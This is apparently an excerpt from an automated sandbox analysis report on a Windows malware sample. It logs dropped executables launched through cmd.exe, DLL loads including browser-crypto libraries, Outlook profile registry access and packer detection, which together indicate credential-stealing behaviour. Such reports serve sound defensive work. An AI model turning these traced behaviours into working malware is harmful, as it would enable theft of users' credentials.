Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe"
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\AAFIIJDAAA.exe"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe "C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe"
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: mstask.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: duser.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: chartv.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: atlthunk.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: windows.fileexplorer.common.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: shfolder.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: mozglue.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: msvcp140.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: slc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: pcacli.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dui70.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: duser.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: windows.ui.immersive.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: bcp47mrm.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: uianimation.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: d3d10warp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dxcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dwmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: shfolder.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: mozglue.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: msvcp140.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: vcruntime140.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: slc.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: duser.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dwrite.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: windows.ui.immersive.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: bcp47mrm.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: uianimation.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: resourcepolicyclient.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: d3d11.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: d3d10warp.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dxcore.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dcomp.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\cmd.exe Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\Desktop\So7a8eQerR.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: So7a8eQerR.exe Static file information: File size 1850368 > 1048576
Source: So7a8eQerR.exe Static PE information: Raw size of ohmzqnep is bigger than: 0x100000 < 0x192400
Source: Binary string: mozglue.pdbP source: 37664d9843.exe, 00000004.00000002.1984416281.000000006C0CD000.00000002.00000001.01000000.0000000B.sdmp, 586ef238b2.exe, 0000000F.00000002.3360531136.000000006C0CD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source: Binary string: freebl3.pdb source: freebl3.dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr
Source: Binary string: freebl3.pdbp source: freebl3.dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr
Source: Binary string: nss3.pdb@ source: 37664d9843.exe, 00000004.00000002.1984622236.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, 586ef238b2.exe, 0000000F.00000002.3360962751.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, nss3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr
Source: Binary string: softokn3.pdb@ source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.4.dr, vcruntime140[1].dll.4.dr, vcruntime140[1].dll.15.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.4.dr, msvcp140[1].dll.15.dr
Source: Binary string: nss3.pdb source: 37664d9843.exe, 00000004.00000002.1984622236.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, 586ef238b2.exe, 0000000F.00000002.3360962751.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, nss3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr
Source: Binary string: mozglue.pdb source: 37664d9843.exe, 00000004.00000002.1984416281.000000006C0CD000.00000002.00000001.01000000.0000000B.sdmp, 586ef238b2.exe, 0000000F.00000002.3360531136.000000006C0CD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source: Binary string: softokn3.pdb source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr

Data Obfuscation
barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\Desktop\So7a8eQerR.exe Unpacked PE file: 0.2.So7a8eQerR.exe.950000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Unpacked PE file: 1.2.explorti.exe.5c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Unpacked PE file: 2.2.explorti.exe.5c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ohmzqnep:EW;ebipawoj:EW;.taggant:EW;
